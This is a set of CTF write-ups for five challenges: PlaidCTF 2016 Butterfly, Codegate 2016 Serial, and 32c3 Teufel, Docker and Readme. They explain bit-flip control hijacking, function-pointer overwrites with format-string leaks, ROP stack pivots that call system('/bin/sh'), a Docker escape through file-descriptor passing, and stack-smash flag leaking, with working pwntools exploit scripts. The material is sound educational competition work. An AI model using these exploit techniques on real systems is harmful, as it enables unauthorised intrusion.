Plaidctf 2016 Butterfly

This is a write-up of the challenge Butterfly from the Plaid ctf 2016.

The challenge

Butterfly is a 64bit x86 linux pwnable, which simply lets you flip a single bit by shining a cosmic ray at it.

It works by mprotect'ing the page with read-write-execute before flipping the bit and then calling mprotect again to remove write rigths.

The exploit

As we can flip arbitary bits in both the code and data, it knew that we should either flip the bit the code of main or in some got entry, to get control of rip.

At the end of main we found: text 400860: 48 83 c4 48 add rsp,0x48 400864: 5b pop rbx 400865: 41 5e pop r14 400867: 41 5f pop r15 400869: 5d pop rbp 40086a: c3 ret and thus flipping the 6'th bit at 400863 would change the add rsp,0x48 to add rsp, 0x8, and so main would return to an address of our choosing.

So by letting main to return to main we was able to get unlimited bit flips.

from pwn import *
context(arch="amd64")

e = ELF("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
#r = remote("butterfly.pwning.xxx", 9999)
r = process("./butterfly_33e86bcc2f0a21d57970dc6907867bed")

addr = 0x400860+3
num = (addr << 3) + 6
r.sendline(str(num).ljust(40)+p64(e.symbols["main"]))

which when run gives us:

$ python doit_butterfly.py
[*] '/home/user/butterfly_33e86bcc2f0a21d57970dc6907867bed'
    Arch:          amd64-64-little
    RELRO:         No RELRO
    Stack Canary:  Canary found
    NX:            NX enabled
    PIE:           No PIE
[x] Starting program './butterfly_33e86bcc2f0a21d57970dc6907867bed'
[+] Starting program './butterfly_33e86bcc2f0a21d57970dc6907867bed': Done
[*] Switching to interactive mode
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
WAS IT WORTH IT???
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?

note that "THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?" is written twice, this is because we are re-executing main.

So from here it was easy to write some shellcode in the .bss and just return to it...

Final exploit

[*] '/home/user/butterfly_33e86bcc2f0a21d57970dc6907867bed'
    Arch:          amd64-64-little
    RELRO:         No RELRO
    Stack Canary:  Canary found
    NX:            NX enabled
    PIE:           No PIE
[x] Opening connection to butterfly.pwning.xxx on port 9999
[x] Opening connection to butterfly.pwning.xxx on port 9999: Trying 13.92.239.242
[+] Opening connection to butterfly.pwning.xxx on port 9999: Done
[*] Switching to interactive mode
WAS IT WORTH IT???
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
WAS IT WORTH IT???
id
uid=1001(problem) gid=1001(problem) groups=1001(problem)
cat flag
PCTF{b1t_fl1ps_4r3_0P_r1t3}

Codegate Quals 2016 Serial

This is a write-up of the challenge Serial from the Codegate qualification round 2016.

The challenge

Serial is a 64bit x86 linux pwnable.

Reversing

When the program is run, we got prompted for a product key:

$ ./serial
input product key:

After a short look at the binary we found that the check function was at 0x400ccb, and that it accepts 32 bytes of input which it somehow checks. But after a first look at how the function worked we decided that is was simple but that it would be boring to reverse, and that it would take some time to write a keygen by hand.

So we decided on using Angr, and so I wrote this script to crack it:

When we run this script it gives us the product key(after a short time):

$ python gen_serial.py
Serial is: '615066814080'

Giving this as input the program we finally get to the menu:

$ ./serial
input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >>

The Bug

The program starts by allocating 10 elements of size 0x20 using calloc, which we can then manipulate by the commands add, remove or dump.

The structure of these elements looks like:

struct elem {
    char note[24];
    void *dump_func_pointer;
};

But the add command allows us to overwrite the function pointer, and the dump command the just calls this pointer with a reference to the element as an argument.

Exploitation

Luckily we haveprintf in the binary, so we can use the bug to call printf like

printf("We can insert a nice format string here");

Thus we are able to read and write memory as we like, for example:

from pwn import *

e = ELF("./serial")
r = process("./serial")

r.recvuntil("input product key:")
r.sendline("615066814080")

@MemLeak
def leak(addr):
    r.recvuntil("choice >> ")
    r.sendline("1")
    r.sendline("BB%13$sCC".ljust(24) + p64(e.plt["printf"]))
    # This is placed somewhere on the stack.
    r.sendline("3AAAAAAA"+p64(addr))
    # remember to remove the element, we only have 10.
    r.sendline("2\n0")
    r.recvuntil("BB")

    data = r.recvuntil("CC")[:-2] + "\x00"

    r.recvuntil("choice >> ")
    return data

# Magic from pwntools, which does pointer chasing and hashtable
# lookups to find stuff in memory. You should check it out.
d = DynELF(leak, elf = e)
system = d.lookup("system", "libc.so")
print "This is the address of 'system' in libc.so:", hex(system)

And it works:

$ python doit_serial.py
[*] '/home/user/serial'
    Arch:          amd64-64-little
    RELRO:         Partial RELRO
    Stack Canary:  Canary found
    NX:            NX enabled
    PIE:           No PIE
[+] Starting program './serial': Done
[+] Loading from '/home/user/serial': 0x7f739e8e61a8
[+] Resolving 'system' in 'libc.so': 0x7f739e8e61a8
This is the address of 'system' in libc.so: 0x7f739e35a490

And now we simply need to use system as our dumper function and call it the right way:

r.recvuntil("choice >> ")
r.sendline("1")
r.sendline("sh;".ljust(24) + p64(system))
r.sendline("3")

# lol, have a shell
r.clean()
r.interactive()

Final exploit

32c3 Teufel

This is a write-up of the teufel challenge from the 32c3 CTF

The Challenge

This was a 64-bit x86 binary pwnable. The way it worked was that it allocated a new stack with a read-only guard page above it, and then it entered a loop which called a function which was more or less equivalent to

void read_read_puts(){
    long int n;
    if(read(0, &n, 8) <= 0) exit(0);
    if(read(0, &n, n) <= 0) exit(0);
    puts(&n);
}

The Exploit

First of all, because the way the stack has been setup we can only put 24 bytes on the stack, namely n, rbp, and rip, therefore we can only jump to one gadget, and we only control rbp.

However we are able to leak the address of the stack by only sending 9 bytes, and then let puts print it to us:

from pwn import *

r = process("./teufel")

r.send(p64(9))
r.send("A"*9)

assert r.recvn(8) == "A"*8

stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
log.info("Stack is at 0x%x", stack)
$ python doit_teufel.py 
[+] Starting program './teufel': Done
[*] Stack is at 0x7fe6913aa000
[*] Stopped program './teufel'

Now that we know where the stack is, we found the gadget

loop:
4004d4: mov    rsp,rbp
4004d7: call   4004e6 <read_read_puts>
4004dc: jmp    4004d7 <loop>

Using this gadget we were able to pivot the stack, to get more space:

mov_rsp_call = 0x4004d4
rop1 = flat([
    "A"*8,
    stack-0x100,
    mov_rsp_call
], word_size=64)

r.send(p64(len(rop1))+ rop1)
r.recvline()

Now attaching gdb at this point we can see whats on the stack:

gdb$ x/10xg $sp
0x7fec13046ee8: 0x0000000026250a61  0x00007fec13046f00
0x7fec13046ef8: 0x00000000004004dc  0x00000000568cdfd4
0x7fec13046f08: 0x000000002625d0da  0x0000000000000000
0x7fec13046f18: 0x0000000000000000  0x0000000000000000
0x7fec13046f28: 0x00007fec12e28740  0x00000000ffffffff
                ^ this is in libc

And we can leak this:

r.send(p64(4*16))
r.send("A"*4*16)
assert r.recvn(4*16) == "A"*4*16
libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)
$ python doit_teufel.py 
[+] Starting program './teufel': Done
[*] Stack is at 0x7fbb8f3b1000
[*] Libc is at 0x7fbb8edcd000
[*] Program './teufel' stopped with exit code -11

and then teufel crashes... But becuase of the way the stack was allocated it is placed relative to libc, so we can just restart the program, leak the address of the stack again, and then ROP in libc.

So this was the final exploit:

from pwn import *

def new_process():
    #r = process("./teufel", env={"LD_LIBRARY_PATH": os.getcwd()})
    r = remote("136.243.194.41", 666)

    r.send(p64(9))
    r.send("A"*9)

    assert r.recvn(8) == "A"*8

    stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
    log.info("Stack is at 0x%x", stack)

    mov_rsp_call = 0x4004d4

    pivot_rop = flat([
        "A"*8,
        stack-0x100,
        mov_rsp_call
    ], word_size=64)

    r.send(p64(len(pivot_rop)) + pivot_rop)
    r.recvline()
    return r, stack

r, stack = new_process()
r.send(p64(4*16))
r.send("A"*4*16)

assert r.recvn(4*16) == "A"*4*16

libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)

diff = libc - stack

r, stack = new_process()
libc = stack + diff
log.info("Libc is at 0x%x" % libc)

pop_rdi = libc + 0x218a2
system = libc + 0x443d0

rop = flat([
    "/bin/sh\x00",
    0x0,
    pop_rdi,
    stack-0x100-0x18,
    system
], word_size=64)

r.send(p64(len(rop)) + rop)

r.clean()
r.interactive()

So we have a shell:

$ python doit_teufel.py 
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f76345fc000
[*] Libc is at 0x7f7634012000
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f7409b69000
[*] Libc is at 0x7f740957f000
[*] Switching to interactive mode
$ cat flag.txt
32C3_mov_pop_ret_repeat

32c3 Docker

This is a write-up of the docker challenge from the 32c3 CTF.

The Challenge

We were given ssh access is a box as the user eve, and we needed to read a flag(/home/adam/flag) that the user adam had read-only rights to.

adam had a binary(/home/adam/docker) which did:

/usr/bin/docker run -it --privileged=false -u 1337:65534 --cap-drop=ALL --net=host ubuntu /bin/bash

Which means that we had a bash shell inside a docker container running as adam but was using the same network stack as the host.

The Solution

As we were running as adam inside the container the logical step would be to break out of the container, and because the docker container was running with --net=host it was natural to think that it was a network related issue.

Thus the obvious choice is unix doman sockets, which are files that behaves as sockets but have some interesting features such as the ability to transfer file descriptors.

So digging though man pages we found something called abstract unix domain, which are unix domain sockets but not files. All this information can be found in man unix, along with information describing how to transfer file descriptors over unix domain sockets

After researching all this arcane magic we came up with: Which should be run outside of the docker as eve like:

./sendfd foobar /

And this should be run side of the docker as adam like:

./recvfd foobar /bin/bash

The twist

All of this was running inside a chroot, and adam's flag was a false flag, The real flag was at /flag and adam's was at /chroot/home/adam/flag.

But when your current working directory is already unreachable from the root you can break out of any chroot your are in. So this was not a problem.

Conclusion

This is not a bug in docker. Everything is working as intended. --net=host is harmful for your sandboxing.

32c3 Readme

This is a write-up of the readme challenge from the 32c3 CTF

The Challenge

This was a pwnable binary with with the flag baked into it, which you could see if you ran:

$ strings readme.bin  | grep 32C3
32C3_TheServerHasTheFlagHere...

The flag is located at 0x600d20 in the .data section.

The challenge was very simple, it was a service witch gets your name onto the stack, and then it asks you to over write the flag at 0x600d20

The Solution

First of all the flag is mapped into memory twice, because of how elf works it is also located in read-only memory at 0x400d20 but only the flag in the .data section gets overwritten.

So locally we could get it printed simply by smashing our stack all the way upto argv, and then let _stack_chk_fail print it for us.

from pwn import *

flag_addr = 0x400d20

r = process("./readme.bin")
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80)
r.sendline("THIS OVERWRITES THE FLAG")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())

which prints when executed:

$ python doit.py
[+] Starting program './readme.bin': Done
[*] The flag is: 32C3_TheServerHasTheFlagHere...
[*] Program './readme.bin' stopped with exit code -6

however this does not work remotely, this is becuase _stack_chk_fail calls __fortify_fail which calls __lib_message which does this:

void
__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap; 
  int fd = -1; 

  va_start (ap, fmt);

  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
  if (on_2 == NULL || *on_2 == '\0')
    fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

  if (fd == -1) 
    fd = STDERR_FILENO;

  // then prints stuff and crashes
}

which means that we only need to set LIBC_FATAL_STDERR_ and the flag will get printed over stderr instead of /dev/tty.

So this is the final exploit:

from pwn import *

env_addr = 0x600d20
flag_addr = 0x400d20

r = remote("136.243.194.62", 1024)
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80 + p64(env_addr)*20)
r.sendline("LIBC_FATAL_STDERR_=1")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())

and we then finally have the flag:

$ python doit.py
[+] Opening connection to 136.243.194.62 on port 1024: Done
[*] The flag is: 32C3_ELF_caN_b3_pre7ty_we!rd...
[*] Closed connection to 136.243.194.62 port 1024